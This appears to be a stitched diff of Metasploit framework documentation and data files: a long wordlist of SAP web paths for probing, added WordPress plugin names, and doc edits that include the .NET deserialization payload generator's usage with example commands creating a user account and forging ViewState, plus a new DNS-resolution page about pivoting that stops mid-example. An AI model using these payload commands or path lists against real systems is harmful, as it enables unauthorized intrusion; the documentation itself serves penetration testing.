sap/bc/webdynpro/sap/SALV_WD_TEST_TABLE_CV
|
||||
sap/bc/webdynpro/sap/SALV_WD_TEST_TABLE_EDIT
|
||||
sap/bc/webdynpro/sap/SALV_WD_TEST_TABLE_EDIT_M
|
||||
sap/bc/webdynpro/sap/SALV_WD_TEST_TABLE_EVENTS
|
||||
sap/bc/webdynpro/sap/SALV_WD_TEST_TABLE_IN_WDW
|
||||
sap/bc/webdynpro/sap/SALV_WD_TEST_TABLE_PROPS
|
||||
sap/bc/webdynpro/sap/SALV_WD_TEST_TABLE_SELECT
|
||||
sap/bc/webdynpro/sap/SALV_WD_TEST_TABLE_SIMPLE
|
||||
sap/bc/webdynpro/sap/SALV_WD_TEST_TABLE_TOOLBR
|
||||
sap/bc/webdynpro/sap/SALV_WD_TEST_TABLE_TREE
|
||||
sap/bc/webdynpro/sap/TEST_BAD_LINK
|
||||
sap/bc/webdynpro/sap/TEST_MODIFY_VIEW
|
||||
sap/bc/webdynpro/sap/TEST_RUNTIME_REPOSITORY
|
||||
sap/bc/webdynpro/sap/TestUpload
|
||||
sap/bc/webdynpro/sap/WDK_A_SE91
|
||||
sap/bc/webdynpro/sap/WDK_SPOOL_TO_PDF
|
||||
sap/bc/webdynpro/sap/WDR_DOCU_HELPER
|
||||
sap/bc/webdynpro/sap/WDR_MESSAGE_AREA
|
||||
sap/bc/webdynpro/sap/WDR_TEST_ADOBE
|
||||
sap/bc/webdynpro/sap/WDR_TEST_DDIC_SHLP
|
||||
sap/bc/webdynpro/sap/WDR_TEST_DOCU
|
||||
sap/bc/webdynpro/sap/WDR_TEST_EVENTS
|
||||
sap/bc/webdynpro/sap/WDR_TEST_ICON_SOURCES
|
||||
sap/bc/webdynpro/sap/WDR_TEST_IT05
|
||||
sap/bc/webdynpro/sap/WDR_TEST_JNDI_PROVIDER
|
||||
sap/bc/webdynpro/sap/WDR_TEST_LAYOUTS
|
||||
sap/bc/webdynpro/sap/WDR_TEST_MODIFY_VIEW
|
||||
sap/bc/webdynpro/sap/WDR_TEST_NAVIGATION
|
||||
sap/bc/webdynpro/sap/WDR_TEST_OVS
|
||||
sap/bc/webdynpro/sap/WDR_TEST_P00001
|
||||
sap/bc/webdynpro/sap/WDR_TEST_P00002
|
||||
sap/bc/webdynpro/sap/WDR_TEST_P00003
|
||||
sap/bc/webdynpro/sap/WDR_TEST_P13N
|
||||
sap/bc/webdynpro/sap/WDR_TEST_POPUPS
|
||||
sap/bc/webdynpro/sap/WDR_TEST_POPUPS_RT
|
||||
sap/bc/webdynpro/sap/WDR_TEST_PORTAL_EVENT_FIRE
|
||||
sap/bc/webdynpro/sap/WDR_TEST_PORTAL_EVENT_FIRE2
|
||||
sap/bc/webdynpro/sap/WDR_TEST_PORTAL_EVENT_FIRE_POP
|
||||
sap/bc/webdynpro/sap/WDR_TEST_PORTAL_EVENT_REC
|
||||
sap/bc/webdynpro/sap/WDR_TEST_PORTAL_EVENT_REC2
|
||||
sap/bc/webdynpro/sap/WDR_TEST_PORTAL_EVENT_REC_POP
|
||||
sap/bc/webdynpro/sap/WDR_TEST_PORTAL_NAV_OBN
|
||||
sap/bc/webdynpro/sap/WDR_TEST_PORTAL_NAV_PAGE
|
||||
sap/bc/webdynpro/sap/WDR_TEST_PORTAL_NAV_TARGET
|
||||
sap/bc/webdynpro/sap/WDR_TEST_PORTAL_OBN_POPUP
|
||||
sap/bc/webdynpro/sap/WDR_TEST_PORTAL_OBN_WS
|
||||
sap/bc/webdynpro/sap/WDR_TEST_PORTAL_OBN_WS_IN
|
||||
sap/bc/webdynpro/sap/WDR_TEST_PORTAL_WORKPROTECT
|
||||
sap/bc/webdynpro/sap/WDR_TEST_RUNTIME
|
||||
sap/bc/webdynpro/sap/WDR_TEST_TABLE
|
||||
sap/bc/webdynpro/sap/WDR_TEST_WINDOW_CHILD
|
||||
sap/bc/webdynpro/sap/WDR_TEST_WINDOW_CLOSE
|
||||
sap/bc/webdynpro/sap/WDR_TEST_WINDOW_ERROR
|
||||
sap/bc/webdynpro/sap/WDR_TEST_WINDOW_LOGOFF
|
||||
sap/bc/webdynpro/sap/WDR_TEST_WINDOW_RESUME
|
||||
sap/bc/webdynpro/sap/WDR_TEST_WINDOW_SUITE
|
||||
sap/bc/webdynpro/sap/WDR_TEST_WINDOW_SUSRES_A
|
||||
sap/bc/webdynpro/sap/WDR_TEST_WINDOW_SUSRES_B
|
||||
sap/bc/webdynpro/sap/WDR_UIE_LIBRARY
|
||||
sap/bc/webdynpro/sap/apb_launchpad
|
||||
sap/bc/webdynpro/sap/apb_launchpad_nwbc
|
||||
sap/bc/webdynpro/sap/apb_lpd_light_start
|
||||
sap/bc/webdynpro/sap/apb_lpd_start_url
|
||||
sap/bc/webdynpro/sap/appl_log_trc_viewer
|
||||
sap/bc/webdynpro/sap/appl_soap_management
|
||||
sap/bc/webdynpro/sap/application_exit
|
||||
sap/bc/webdynpro/sap/ccmsbi_wast_extr_testenv
|
||||
sap/bc/webdynpro/sap/cnp_light_test
|
||||
sap/bc/webdynpro/sap/configure_application
|
||||
sap/bc/webdynpro/sap/configure_component
|
||||
sap/bc/webdynpro/sap/demo_messages
|
||||
sap/bc/webdynpro/sap/demo_messages2
|
||||
sap/bc/webdynpro/sap/demo_variable_dropdown
|
||||
sap/bc/webdynpro/sap/demo_wda_quiz
|
||||
sap/bc/webdynpro/sap/demo_wda_table
|
||||
sap/bc/webdynpro/sap/esh_adm_smoketest_ui
|
||||
sap/bc/webdynpro/sap/esh_admin_ui_component
|
||||
sap/bc/webdynpro/sap/esh_eng_modelling
|
||||
sap/bc/webdynpro/sap/esh_search_results.ui
|
||||
sap/bc/webdynpro/sap/ios_test_helloworld_ms
|
||||
sap/bc/webdynpro/sap/ios_test_helloworld_so
|
||||
sap/bc/webdynpro/sap/ios_test_simple_ms
|
||||
sap/bc/webdynpro/sap/ios_test_simple_so
|
||||
sap/bc/webdynpro/sap/its
|
||||
sap/bc/webdynpro/sap/powl_test_feeder
|
||||
sap/bc/webdynpro/sap/ptm_assign_s_ui
|
||||
sap/bc/webdynpro/sap/ptm_jf_worklist_ui
|
||||
sap/bc/webdynpro/sap/ptm_maintain_jf_ui
|
||||
sap/bc/webdynpro/sap/rcm_multistring_edit_example
|
||||
sap/bc/webdynpro/sap/rcm_poid_info_example
|
||||
sap/bc/webdynpro/sap/rcm_property_query_example
|
||||
sap/bc/webdynpro/sap/salv_wd_demo_table_dfault
|
||||
sap/bc/webdynpro/sap/salv_wd_submit
|
||||
sap/bc/webdynpro/sap/salv_wd_test_col_field
|
||||
sap/bc/webdynpro/sap/salv_wd_test_conf_caller
|
||||
sap/bc/webdynpro/sap/salv_wd_test_config1
|
||||
sap/bc/webdynpro/sap/salv_wd_test_config_api
|
||||
sap/bc/webdynpro/sap/salv_wd_test_config_api2
|
||||
sap/bc/webdynpro/sap/salv_wd_test_datatypes
|
||||
sap/bc/webdynpro/sap/salv_wd_test_dyn1
|
||||
sap/bc/webdynpro/sap/salv_wd_test_extended
|
||||
sap/bc/webdynpro/sap/salv_wd_test_file_upload
|
||||
sap/bc/webdynpro/sap/salv_wd_test_image1
|
||||
sap/bc/webdynpro/sap/salv_wd_test_modif1
|
||||
sap/bc/webdynpro/sap/salv_wd_test_no_ddic
|
||||
sap/bc/webdynpro/sap/salv_wd_test_non_portal
|
||||
sap/bc/webdynpro/sap/salv_wd_test_set_data
|
||||
sap/bc/webdynpro/sap/salv_wd_test_set_data1
|
||||
sap/bc/webdynpro/sap/salv_wd_test_simple1
|
||||
sap/bc/webdynpro/sap/salv_wd_test_table_edit2
|
||||
sap/bc/webdynpro/sap/salv_wd_test_table_f4
|
||||
sap/bc/webdynpro/sap/salv_wd_test_table_tol
|
||||
sap/bc/webdynpro/sap/salv_wd_test_table_tol2
|
||||
sap/bc/webdynpro/sap/salv_wd_test_translation
|
||||
sap/bc/webdynpro/sap/sh_adm_smoketest_files
|
||||
sap/bc/webdynpro/sap/test_ddic
|
||||
sap/bc/webdynpro/sap/wd_analyze_config_appl
|
||||
sap/bc/webdynpro/sap/wd_analyze_config_comp
|
||||
sap/bc/webdynpro/sap/wd_analyze_config_default
|
||||
sap/bc/webdynpro/sap/wd_analyze_config_user
|
||||
sap/bc/webdynpro/sap/wd_layout_cnp_light
|
||||
sap/bc/webdynpro/sap/wd_personalize_ddic_valuehelp
|
||||
sap/bc/webdynpro/sap/wd_tut_alv
|
||||
sap/bc/webdynpro/sap/wd_tut_componentdetail
|
||||
sap/bc/webdynpro/sap/wd_tut_componentusage
|
||||
sap/bc/webdynpro/sap/wd_tut_dialogboxes
|
||||
sap/bc/webdynpro/sap/wdhc_application
|
||||
sap/bc/webdynpro/sap/wdk_gaf_template
|
||||
sap/bc/webdynpro/sap/wdk_oif_template
|
||||
sap/bc/webdynpro/sap/wdk_qaf_template
|
||||
sap/bc/webdynpro/sap/wdr_inplace_demo1
|
||||
sap/bc/webdynpro/sap/wdr_inplace_demo2
|
||||
sap/bc/webdynpro/sap/wdr_ovs_test
|
||||
sap/bc/webdynpro/sap/wdr_package_srvs
|
||||
sap/bc/webdynpro/sap/wdr_popup_to_confirm_test
|
||||
sap/bc/webdynpro/sap/wdr_replace_if_wdl
|
||||
sap/bc/webdynpro/sap/wdr_test_adobe_pdf_only
|
||||
sap/bc/webdynpro/sap/wdr_test_appl_def_vh
|
||||
sap/bc/webdynpro/sap/wdr_test_application_api
|
||||
sap/bc/webdynpro/sap/wdr_test_bg_blend
|
||||
sap/bc/webdynpro/sap/wdr_test_chat
|
||||
sap/bc/webdynpro/sap/wdr_test_cmp_usage_group
|
||||
sap/bc/webdynpro/sap/wdr_test_cmpusage
|
||||
sap/bc/webdynpro/sap/wdr_test_cmpusage4
|
||||
sap/bc/webdynpro/sap/wdr_test_config
|
||||
sap/bc/webdynpro/sap/wdr_test_config2
|
||||
sap/bc/webdynpro/sap/wdr_test_configmain
|
||||
sap/bc/webdynpro/sap/wdr_test_context
|
||||
sap/bc/webdynpro/sap/wdr_test_dynamic
|
||||
sap/bc/webdynpro/sap/wdr_test_enhancements
|
||||
sap/bc/webdynpro/sap/wdr_test_exit_plug
|
||||
sap/bc/webdynpro/sap/wdr_test_ext_mapping
|
||||
sap/bc/webdynpro/sap/wdr_test_extended_path
|
||||
sap/bc/webdynpro/sap/wdr_test_gantt
|
||||
sap/bc/webdynpro/sap/wdr_test_global_settings
|
||||
sap/bc/webdynpro/sap/wdr_test_help
|
||||
sap/bc/webdynpro/sap/wdr_test_input
|
||||
sap/bc/webdynpro/sap/wdr_test_it05_nopatt
|
||||
sap/bc/webdynpro/sap/wdr_test_mailto
|
||||
sap/bc/webdynpro/sap/wdr_test_mandatory
|
||||
sap/bc/webdynpro/sap/wdr_test_misc
|
||||
sap/bc/webdynpro/sap/wdr_test_msg_manager_00
|
||||
sap/bc/webdynpro/sap/wdr_test_navigation6
|
||||
sap/bc/webdynpro/sap/wdr_test_navigation7
|
||||
sap/bc/webdynpro/sap/wdr_test_navigation_00
|
||||
sap/bc/webdynpro/sap/wdr_test_ovs2
|
||||
sap/bc/webdynpro/sap/wdr_test_p00004
|
||||
sap/bc/webdynpro/sap/wdr_test_p00006
|
||||
sap/bc/webdynpro/sap/wdr_test_p00007
|
||||
sap/bc/webdynpro/sap/wdr_test_p00008
|
||||
sap/bc/webdynpro/sap/wdr_test_p00009
|
||||
sap/bc/webdynpro/sap/wdr_test_p00010
|
||||
sap/bc/webdynpro/sap/wdr_test_p00011
|
||||
sap/bc/webdynpro/sap/wdr_test_paddless_window
|
||||
sap/bc/webdynpro/sap/wdr_test_pers_imp
|
||||
sap/bc/webdynpro/sap/wdr_test_pers_imp_exp
|
||||
sap/bc/webdynpro/sap/wdr_test_popup_01
|
||||
sap/bc/webdynpro/sap/wdr_test_popup_inplug
|
||||
sap/bc/webdynpro/sap/wdr_test_popup_to_confirm
|
||||
sap/bc/webdynpro/sap/wdr_test_popups_rt
|
||||
sap/bc/webdynpro/sap/wdr_test_popups_rt_00
|
||||
sap/bc/webdynpro/sap/wdr_test_select_options
|
||||
sap/bc/webdynpro/sap/wdr_test_ui_elements
|
||||
sap/bc/webdynpro/sap/wdr_test_ur_browser
|
||||
sap/bc/webdynpro/sap/wdr_transport_srvs
|
||||
sap/bc/webdynpro/sap/wdt_alv
|
||||
sap/bc/webdynpro/sap/wdt_bg_scatter
|
||||
sap/bc/webdynpro/sap/wdt_componentdetail
|
||||
sap/bc/webdynpro/sap/wdt_componentusage
|
||||
sap/bc/webdynpro/sap/wdt_dialogboxes
|
||||
sap/bc/webdynpro/sap/wdt_ext_map_reuse
|
||||
sap/bc/webdynpro/sap/wdt_flightlist
|
||||
sap/bc/webdynpro/sap/wdt_master_detail
|
||||
sap/bc/webdynpro/sap/wdt_quiz
|
||||
sap/bc/webdynpro/sap/wdt_table
|
||||
sap/bc/webdynpro/sap/wdt_tree
|
||||
sap/bc/webdynpro/sap/wdt_tree_table_by_key
|
||||
sap/bc/webflow
|
||||
sap/bc/webflow/
|
||||
sap/bc/webflow/demo
|
||||
sap/bc/webflow/demo/
|
||||
sap/bc/webflow/demo/trareq_update
|
||||
sap/bc/webflow/demo/wf_demo_calc_01
|
||||
sap/bc/webflow/test
|
||||
sap/bc/webflow/test/
|
||||
sap/bc/webflow/test/get_data
|
||||
sap/bc/webflow/test/inc_async
|
||||
sap/bc/webflow/test/inc_sync
|
||||
sap/bc/webflow/test/test_datatypes
|
||||
sap/bc/webflow/test/test_get_xml
|
||||
sap/bc/webflow/test/test_show_xml
|
||||
sap/bc/webflow/wshandler
|
||||
sap/bc/webrfc
|
||||
sap/bc/workflow
|
||||
sap/bc/workflow/
|
||||
sap/bc/workflow/shortcut
|
||||
sap/bc/workflow/workflow_api
|
||||
sap/bc/workflow_xml
|
||||
sap/bc/xmb
|
||||
sap/bc/xml
|
||||
sap/bc/xmsmsg
|
||||
sap/bc/xrfc
|
||||
sap/bc/xrfc_test
|
||||
sap/bw
|
||||
sap/ca
|
||||
sap/ca/att_provide
|
||||
sap/crm
|
||||
sap/es/cockpit
|
||||
sap/es/getdocument
|
||||
sap/es/opensearch
|
||||
sap/es/opensearch/description
|
||||
sap/es/opensearch/list
|
||||
sap/es/opensearch/search
|
||||
sap/es/redirect
|
||||
sap/es/saplink
|
||||
sap/es/search
|
||||
sap/icm/admin
|
||||
sap/meData
|
||||
sap/monitoring
|
||||
sap/monitoring/
|
||||
sap/monitoring/ComponentInfo
|
||||
sap/monitoring/SystemInfo
|
||||
sap/option
|
||||
sap/public
|
||||
sap/public/
|
||||
sap/public/bc
|
||||
sap/public/bc/
|
||||
sap/public/bc/NWDEMO_MODEL
|
||||
sap/public/bc/NW_ESH_TST_AUTO
|
||||
sap/public/bc/icons
|
||||
sap/public/bc/icons_rtl
|
||||
sap/public/bc/its
|
||||
sap/public/bc/its/
|
||||
sap/public/bc/its/designs
|
||||
sap/public/bc/its/mimes
|
||||
sap/public/bc/its/mimes/system/SL/page/hourglass.html
|
||||
sap/public/bc/its/mobile/itsmobile00
|
||||
sap/public/bc/its/mobile/itsmobile01
|
||||
sap/public/bc/its/mobile/rfid
|
||||
sap/public/bc/its/mobile/start
|
||||
sap/public/bc/its/mobile/test
|
||||
sap/public/bc/pictograms
|
||||
sap/public/bc/sicf_login_run
|
||||
sap/public/bc/trex
|
||||
sap/public/bc/ur
|
||||
sap/public/bc/wdtracetool
|
||||
sap/public/bc/webdynpro
|
||||
sap/public/bc/webdynpro/
|
||||
sap/public/bc/webdynpro/ViewDesigner
|
||||
sap/public/bc/webdynpro/adobeChallenge
|
||||
sap/public/bc/webdynpro/adobechallenge
|
||||
sap/public/bc/webdynpro/mimes
|
||||
sap/public/bc/webdynpro/ssr
|
||||
sap/public/bc/webdynpro/viewdesigner
|
||||
sap/public/bc/webicons
|
||||
sap/public/bc/workflow
|
||||
sap/public/bc/workflow/shortcut
|
||||
sap/public/bsp
|
||||
sap/public/bsp/sap
|
||||
sap/public/bsp/sap/
|
||||
sap/public/bsp/sap/htmlb
|
||||
sap/public/bsp/sap/public
|
||||
sap/public/bsp/sap/public/
|
||||
sap/public/bsp/sap/public/ISE
|
||||
sap/public/bsp/sap/public/bc
|
||||
sap/public/bsp/sap/public/faa
|
||||
sap/public/bsp/sap/public/graphics
|
||||
sap/public/bsp/sap/public/graphics/
|
||||
sap/public/bsp/sap/public/graphics/jnet_handler
|
||||
sap/public/bsp/sap/public/graphics/mimes
|
||||
sap/public/bsp/sap/system
|
||||
sap/public/bsp/sap/system_public
|
||||
sap/public/icf_check
|
||||
sap/public/icf_info
|
||||
sap/public/icf_info/
|
||||
sap/public/icf_info/icr_groups
|
||||
sap/public/icf_info/icr_urlprefix
|
||||
sap/public/icf_info/logon_groups
|
||||
sap/public/icf_info/urlprefix
|
||||
sap/public/icman
|
||||
sap/public/info
|
||||
sap/public/myssocntl
|
||||
sap/public/ping
|
||||
sap/wdvd
|
||||
sap/webcuif
|
||||
sap/webdynpro/sap/hap_main_document
|
||||
sap/webdynpro/sap/hap_start_page_powl_ui_ess
|
||||
sap/webdynpro/sap/hap_store_page_powl_ui_mss
|
||||
sap/webdynpro/sap/hrtmc_employee_profile
|
||||
sap/webdynpro/sap/hrtmc_rm_maintenance
|
||||
sap/webdynpro/sap/hrtmc_ta_assessment
|
||||
sap/webdynpro/sap/hrtmc_ta_dashboard
|
||||
sap/webdynpro/sap/wd_analyze_config_user
|
||||
sap/xi
|
||||
sap/xi/
|
||||
sap/xi/adapter_plain
|
||||
sap/xi/cache
|
||||
sap/xi/cache_gui
|
||||
sap/xi/cache_gui_ssl
|
||||
sap/xi/cache_ssl
|
||||
sap/xi/docu_apperror
|
||||
sap/xi/docu_syserror
|
||||
sap/xi/engine
|
||||
sap/xi/engine_test
|
||||
sap/xi/simulation
|
||||
sap/xml/
|
||||
sap/xml/cwm
|
||||
sap/xml/soap
|
||||
sap/xml/soap/xmla
|
||||
sap/xml/soap/xmla/fault
|
||||
sap_java
|
||||
sap_java/bc
|
||||
sapmc
|
||||
sapmc/sapmc.html
|
||||
sapse/startsld
|
||||
servlet/com.sap.admin.Critical.Actio
|
||||
sim/
|
||||
sim/config/testdata.jsp
|
||||
sim/config/testerror.jsp
|
||||
sim/index.html
|
||||
sld
|
||||
slm
|
||||
slmServices/config
|
||||
slmServices/config?wsdl
|
||||
slmSolManServices/Config1
|
||||
socoview
|
||||
socoview/flddisplay.asp
|
||||
sp
|
||||
spml
|
||||
sysconfig
|
||||
tc.lm.webadmin.endtoend.public.app
|
||||
tc/lm/webadmin/clusteradmin
|
||||
teched/test
|
||||
test30
|
||||
top.html
|
||||
uddi
|
||||
uddiclient
|
||||
uddiclient/jsps/index.jsp
|
||||
useradmin
|
||||
useradmin/index.jsp
|
||||
userhome/
|
||||
utl
|
||||
vscantest
|
||||
vscantest/
|
||||
webdynpro
|
||||
webdynpro/dispatcher
|
||||
webdynpro/dispatcher/sap.com/grc~accvwdcomp
|
||||
webdynpro/dispatcher/sap.com/grc~aewebquery
|
||||
webdynpro/dispatcher/sap.com/grc~ccappcomp
|
||||
webdynpro/dispatcher/sap.com/grc~ccxsysbe
|
||||
webdynpro/dispatcher/sap.com/grc~ccxsysbehr
|
||||
webdynpro/dispatcher/sap.com/grc~ffappcomp
|
||||
webdynpro/dispatcher/sap.com/pb/pagebuilder
|
||||
webdynpro/dispatcher/sap.com/tc~kmc~bc.uwl.ui~wd_ui
|
||||
webdynpro/dispatcher/sap.com/tc~kmc~bc.uwl.ui~wd_ui/uwl
|
||||
webdynpro/dispatcher/sap.com/tc~kmc~bc.uwl.ui~wd_ui/uwldetail
|
||||
webdynpro/dispatcher/sap.com/tc~kmc~bc.uwl.ui~wd_ui/uwldisplayhistory
|
||||
webdynpro/dispatcher/sap.com/tc~lm~webadmin~mainframe~wd/WebAdminApp
|
||||
webdynpro/dispatcher/sap.com/tc~sec~ume~wd~enduser/UmeEnduserApp
|
||||
webdynpro/dispatcher/sap.com/tc~wd~dispwda/servlet_jsp/webdynpro/welcome/root/Welcome.jsp
|
||||
webdynpro/dispatcher/sap.com/tc~wd~tools
|
||||
webdynpro/dispatcher/sap.com/tc~wd~tools/Explorer
|
||||
webdynpro/dispatcher/sap.com/tc~wd~tools/WebDynproConsole
|
||||
webdynpro/dispatcher/sap.com/tc~wd~tools/explorer
|
||||
webdynpro/dispatcher/virsa/ccappcomp/ComplianceCalibrator
|
||||
webdynpro/resources/sap.com/
|
||||
webdynpro/welcome
|
||||
webdynpro/welcome/Welcome.jsp
|
||||
wsd2wsdl
|
||||
wsnavigator
|
||||
wsnavigator/enterwsdl.html
|
||||
wsnavigator/jsps/redirect.jsp
|
||||
wsnavigator/jsps/sendrequest.jsp
|
||||
wsnavigator/jsps/test.jsp
|
||||
wssproc/cert
|
||||
wssproc/plain
|
||||
wssproc/ssl
|
||||
|
||||
@@ -60,3 +60,4 @@ paid-memberships-pro
|
||||
woocommerce-payments
|
||||
file-manager-advanced-shortcode
|
||||
royal-elementor-addons
|
||||
backup-backup
|
||||
|
||||
@@ -1,2 +1,3 @@
|
||||
holding_pattern
|
||||
wplms
|
||||
bricks
|
||||
|
||||
+7972
-805
File diff suppressed because it is too large
Load Diff
+1
-1
@@ -32,7 +32,7 @@ exclude:
|
||||
# just-the-docs config
|
||||
mermaid_enabled: true
|
||||
mermaid:
|
||||
version: "9.2.2"
|
||||
version: "10.8.0"
|
||||
heading_anchors: true
|
||||
aux_links_new_tab: true
|
||||
aux_links:
|
||||
|
||||
@@ -342,7 +342,7 @@ The result object now as a `.to_h` method which returns a hash compatible with o
|
||||
|
||||
In the case of a success we build some info hashes and call `create_credential`. This is a method found in the metasploit-credential gem under `lib/metasploit/credential/creation.rb` in a mixin called `Metasploit::Credential::Creation`. This mixin is included in the Report mixin, so if your module includes that mixin you'll get these methods for free.
|
||||
|
||||
`create_credential` creates a `Metasploit::Credential::Core`. We then take that core, the service data, and merge it with some additional data. This additional data includes the access level, the current time (to update last_attempted_at on the `Metasploit::Credential::Login`), the the status.
|
||||
`create_credential` creates a `Metasploit::Credential::Core`. We then take that core, the service data, and merge it with some additional data. This additional data includes the access level, the current time (to update last_attempted_at on the `Metasploit::Credential::Login`), the status.
|
||||
|
||||
Finally, for a success, we output the result to the console.
|
||||
|
||||
|
||||
+1
@@ -70,3 +70,4 @@ Example:
|
||||
| FIRST_ATTEMPT_FAIL | The module may fail for the first attempt |
|
||||
| REPEATABLE_SESSION | The module is expected to get a session every time it runs |
|
||||
| UNRELIABLE_SESSION | The module isn't expected to get a shell reliably (such as only once) |
|
||||
| EVENT_DEPENDENT | The module may not execute the payload until an external event occurs. For instance, a cron job, machine restart, user interaction within a GUI element, etc |
|
||||
|
||||
@@ -82,24 +82,41 @@ Generate a .NET deserialization payload that will execute an operating system
|
||||
command using the specified gadget chain and formatter.
|
||||
|
||||
Available formatters:
|
||||
* BinaryFormatter
|
||||
* LosFormatter
|
||||
* SoapFormatter
|
||||
* BinaryFormatter
|
||||
* LosFormatter
|
||||
* SoapFormatter
|
||||
|
||||
Available gadget chains:
|
||||
* TextFormattingRunProperties
|
||||
* TypeConfuseDelegate
|
||||
* WindowsIdentity
|
||||
* ClaimsPrincipal
|
||||
* DataSet
|
||||
* DataSetTypeSpoof
|
||||
* ObjectDataProvider
|
||||
* TextFormattingRunProperties
|
||||
* TypeConfuseDelegate
|
||||
* WindowsIdentity
|
||||
|
||||
Example: ./dot_net.rb -c "net user msf msf /ADD" -f BinaryFormatter -g TextFormattingRunProperties
|
||||
Available HMAC algorithms: SHA1, HMACSHA256, HMACSHA384, HMACSHA512, MD5
|
||||
|
||||
Specific options:
|
||||
-c, --command <String> The command to run
|
||||
-f, --formatter <String> The formatter to use (default: BinaryFormatter)
|
||||
-g, --gadget <String> The gadget chain to use (default: TextFormattingRunProperties)
|
||||
-o, --output <String> The output format to use (default: raw, see: --list-output-formats)
|
||||
--list-output-formats List available output formats, for use with --output
|
||||
-h, --help Show this message
|
||||
Examples:
|
||||
./dot_net.rb -c "net user msf msf /ADD" -f BinaryFormatter -g TypeConfuseDelegate -o base64
|
||||
./dot_net.rb -c "calc.exe" -f LosFormatter -g TextFormattingRunProperties \
|
||||
--viewstate-validation-key deadbeef --viewstate-validation-algorithm SHA1
|
||||
|
||||
General options:
|
||||
-h, --help Show this message
|
||||
-c, --command <String> The command to run
|
||||
-f, --formatter <String> The formatter to use (default: BinaryFormatter)
|
||||
-g, --gadget <String> The gadget chain to use (default: TextFormattingRunProperties)
|
||||
-o, --output <String> The output format to use (default: raw, see: --list-output-formats)
|
||||
--list-output-formats List available output formats, for use with --output
|
||||
|
||||
ViewState related options:
|
||||
--viewstate-generator <String>
|
||||
The ViewState generator string to use
|
||||
--viewstate-validation-algorithm <String>
|
||||
The validation algorithm (default: SHA1, see: Available HMAC algorithms)
|
||||
--viewstate-validation-key <HexString>
|
||||
The validationKey from the web.config file
|
||||
```
|
||||
|
||||
The `-g` / `--gadget` option maps to the *gadget_chain* argument for the
|
||||
|
||||
@@ -0,0 +1,165 @@
|
||||
# Metasploit DNS
|
||||
## Background
|
||||
Most applications that need to handle hostname to IP address lookups rely on the host operating system, either by
|
||||
passing the hostname directly to the socket-creation function or by calling a purpose built API such as `getaddrinfo`.
|
||||
This was also how Metasploit handled name lookups and would only directly communicate with a DNS server when the request
|
||||
was more involved than mapping a hostname to an IPv4 or IPv6 address.
|
||||
|
||||
One flaw in this approach is that when pivoting connections over a session, the DNS lookups would occur through the host
|
||||
on which Metasploit was running instead of the compromised host from which the connection would originate. This lead to
|
||||
two issues, the first being the aforementioned DNS leaks and the second that Metasploit could not always resolve
|
||||
hostnames that the compromised system could.
|
||||
|
||||
Starting in Metasploit 6.4, Metasploit uses an internal DNS resolution system that grants the user a high degree of
|
||||
control over the process of DNS queries.
|
||||
|
||||
## The DNS command
|
||||
Metasploit's DNS configuration is controlled by the `dns` command which has multiple subcommands.
|
||||
|
||||
The current configuration can be printed by running `dns print`:
|
||||
|
||||
```msf6
|
||||
msf6 > dns print
|
||||
Default search domain: N/A
|
||||
Default search list: lab.lan
|
||||
Current cache size: 0
|
||||
|
||||
Resolver rule entries
|
||||
=====================
|
||||
|
||||
# Rule Resolver Comm channel
|
||||
- ---- -------- ------------
|
||||
1 *
|
||||
. \_ static N/A
|
||||
. \_ 127.0.0.53
|
||||
|
||||
|
||||
Static hostnames
|
||||
================
|
||||
|
||||
Hostname IPv4 Address IPv6 Address
|
||||
-------- ------------ ------------
|
||||
localhost 127.0.0.1 ::1
|
||||
\_ 127.1.1.1
|
||||
localhost.localdomain 127.0.0.1 ::1
|
||||
localhost4 127.0.0.1
|
||||
localhost4.localdomain4 127.0.0.1
|
||||
localhost6 ::1
|
||||
localhost6.localdomain6 ::1
|
||||
```
|
||||
|
||||
The `help` subcommand can be used to display the available subcommands. The name of a subcommand can also be specified
|
||||
as an argument to `help` to display additional information about that subcommand, for example `dns help add`.
|
||||
|
||||
Metasploit's DNS system is composed of the following major components: resolver rules, static entries and the cache.
|
||||
|
||||
## DNS Resolver Rules
|
||||
DNS resolver rules are a single wildcard that is associated with zero or more resolver types. When a query name matches
|
||||
the wildcard expression, the associated resolvers are used in succession until one is capable of fulfilling the request.
|
||||
For example, a wildcard pattern of `*.lab.lan` would match `www.lab.lan` and `_ldap._tcp.lab.lan`, but not `lab.lan` or
|
||||
`msflab.lan`. Furthermore, the `*` wildcard pattern matches everything and should be used as a default rule.
|
||||
|
||||
Once a rule that matches the query name is found, the specified resolvers will be tried in order until one is capable of
|
||||
handling the request. Different resolver types can be specified to handle queries in different ways. Rules are listed
|
||||
in numeric order starting at position 1. Rules can be added to or removed from specific positions in a similar manner to
|
||||
how iptables rules can be added to and removed from a specific chain.
|
||||
|
||||
### The Black Hole Resolver
|
||||
The black hole resolver can be used to prevent queries from being resolved. It handles all query types and will prevent
|
||||
resolvers defined after it from being used. The black hole resolver is specified by using the `black-hole` keyword.
|
||||
|
||||
### The Upstream Resolver
|
||||
An upstream resolver can be used by specifying either an IPv4 or IPv6 address. When Metasploit uses this resolver, the
|
||||
defined host will be contacted over the network. A session can optionally be defined through which network traffic will
|
||||
be sent.
|
||||
|
||||
### The System Resolver
|
||||
The system resolver can be used for hostname resolution to either IPv4 or IPv6 addresses by invoking the host operating
|
||||
system's API. This is particularly useful in cases where the system's API is expected to be hooked by an external entity
|
||||
such as proxychains. The system resolver is specified by using the `system` keyword. Queries that can not be fulfilled
|
||||
by simply translating the query name to an IP address (e.g. PTR, TXT and SRV queries) will use the next resolver that is
|
||||
configured in the rule.
|
||||
|
||||
### The Static Resolver
|
||||
The static resolver can be used for hostname resolution to either IPv4 or IPv6 addresses through a static mapping that
|
||||
is configured within Metasploit. This functionality is analogous to the `hosts` file found on many systems which defines
|
||||
static hostname to IP address associations. The static resolver is specified by using the `static` keyword. Queries that
|
||||
can not be fulfilled by simply translating the query name to an IP address (e.g. PTR, TXT and SRV queries) will use the
|
||||
next resolver that is configured in the rule.
|
||||
|
||||
See [Static DNS Entries](#static-dns-entries) for configuring static entries.
|
||||
|
||||
### Example Rules
|
||||
|
||||
Define a single rule in the first position to handle all queries through three resolvers, first checking if there is a
|
||||
static entry in Metasploit then using the system resolver and finally specifying an upstream DNS server to handle any
|
||||
other query type.
|
||||
|
||||
```
|
||||
dns add --index 1 --rule * static system 192.0.2.1
|
||||
```
|
||||
|
||||
Append a rule to the end that will handle all queries for `*.lab.lan` using an upstream server contacted through session
|
||||
1.
|
||||
|
||||
```
|
||||
dns add --rule *.lab.lan --session 1 192.0.2.1
|
||||
```
|
||||
|
||||
Append a rule to drop all queries for `*.noresolve.lan` using the black hole resolver.
|
||||
|
||||
```
|
||||
